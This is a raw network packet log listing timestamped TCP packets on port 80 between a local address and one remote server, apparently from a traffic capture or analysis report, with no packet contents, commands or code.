Dec 26, 2024 12:05:14.820498943 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.820507050 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.820574045 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.821553946 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.821599007 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.821692944 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.821737051 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.822520018 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.822570086 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.822649956 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.822699070 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.823565006 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.823611975 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.823645115 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.823694944 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.824546099 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.824593067 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.824661016 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.824708939 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.825686932 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.825732946 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.825787067 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.825830936 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.826616049 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.826662064 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.826689005 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.826734066 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.827703953 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.827752113 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.827819109 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.827862024 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.828686953 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.828795910 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.828847885 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.830044985 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.830091953 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.830293894 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.830341101 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.830985069 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.831033945 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.831063032 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.831108093 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.831778049 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.831825972 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.831835032 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.831877947 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.832828045 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.832874060 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.989710093 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.989761114 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.989833117 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.990201950 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.990276098 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.990323067 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.991364002 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.991414070 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.991556883 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.991601944 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.992412090 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.992424965 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.992449045 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.992466927 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.993280888 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.993382931 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.993421078 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.994298935 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.994349003 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.994400024 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.994499922 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.995320082 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.995363951 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.995393991 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.995431900 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.996715069 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.996761084 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.996831894 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.996865988 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.997673035 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.997684956 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.997719049 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.998439074 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.998472929 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.998512030 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.998545885 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.999470949 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.999507904 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.999543905 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.999577045 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.000437021 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.000472069 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.000535965 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.000571012 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.001462936 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.001497984 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.001606941 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.001641989 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.002496958 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.002531052 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.002599955 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.002631903 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.003518105 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.003557920 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.003648996 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.003690004 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.004549980 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.004589081 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.004630089 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.004662037 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.005558014 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.005595922 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.005716085 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.005752087 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.006606102 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.006700039 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.006742001 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.007626057 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.007669926 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.007702112 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.007734060 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.008646965 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.008740902 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.008747101 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.008780956 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.009689093 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.009789944 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.009824991 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.010740042 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.010782003 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.010786057 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.010818958 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.011981964 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.012021065 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.012089014 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.012128115 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.012948036 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.012986898 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.013053894 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.013083935 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.013870001 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.013902903 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.013938904 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.013967991 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.014791965 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.014823914 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.014846087 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.014874935 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.015829086 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.015971899 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.016016960 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.016947985 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.017005920 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.017123938 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.017163038 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.018003941 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.018208981 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.018253088 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.019150972 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.019191980 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.019273996 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.019316912 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.020226002 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.020272970 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.020347118 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.020380020 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.021279097 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.021321058 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.021361113 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.021409035 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.022644043 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.022727966 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.022767067 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.023237944 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.023257017 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.023281097 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.023304939 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.024056911 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.024173975 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.024205923 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.025120974 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.025163889 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.025197029 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.025229931 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.026139021 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.026205063 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.026243925 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.027102947 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.027188063 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.027225018 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.027272940 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.028183937 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.028230906 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.028283119 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.028321028 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.029148102 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.029190063 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.029237986 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.029270887 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.030154943 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.030280113 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.030318975 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.031173944 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.031214952 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.031287909 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.031332970 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.032274961 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.032310963 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.032402039 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.032440901 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.033231974 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.033276081 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.033415079 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.033457041 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.034312010 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.034385920 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.034430027 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.035481930 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.035521984 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.035607100 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.035646915 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.036407948 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.036448002 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.036480904 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.036529064 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.037442923 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.037462950 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.037477970 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.037511110 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.038719893 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.038783073 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.038825035 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.039676905 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.039717913 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.039796114 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.039879084 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.040781975 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.040940046 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.040977955 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.041599035 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.041738987 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.041800022 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.042589903 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.042630911 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.042736053 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.042776108 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.043457985 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.043531895 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.096095085 CET	80	49713	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.096276999 CET	49713	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.096287012 CET	80	49713	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.096407890 CET	49713	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.133426905 CET	49713	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.200743914 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.200815916 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.200824976 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.200869083 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.201189041 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.201235056 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.201273918 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.201316118 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.202219009 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.202266932 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.202317953 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.203638077 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.203687906 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.203747034 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.203785896 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.204250097 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.204298019 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.204303026 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.204346895 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.205272913 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.205326080 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.205404043 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.205497980 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.206334114 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.206403971 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.206453085 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.207382917 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.207433939 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.207505941 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.207554102 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.208329916 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.208373070 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.208918095 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.208959103 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.209352016 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.209391117 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.209445000 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.210386038 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.210433006 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.210516930 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.210602045 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.211515903 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.211569071 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.211700916 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.211741924 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.212652922 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.212708950 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.212778091 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.212874889 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.213701010 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.213720083 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.213758945 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.213815928 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.214493036 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.214606047 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.214652061 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.215509892 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.215553045 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.215667009 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.215708017 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.216528893 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.216567039 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.216597080 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.216638088 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.217552900 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.217595100 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.217679024 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.217727900 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.218592882 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.218647003 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.218708992 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.218756914 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.219609022 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.219671965 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.219712019 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.219777107 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.220639944 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.220693111 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.220726013 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.220769882 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.221718073 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.221765995 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.221788883 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.221812010 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.222691059 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.222743988 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.222811937 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.222851992 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.223730087 CET	80	49708	185.81.68.147	192.168.2.5
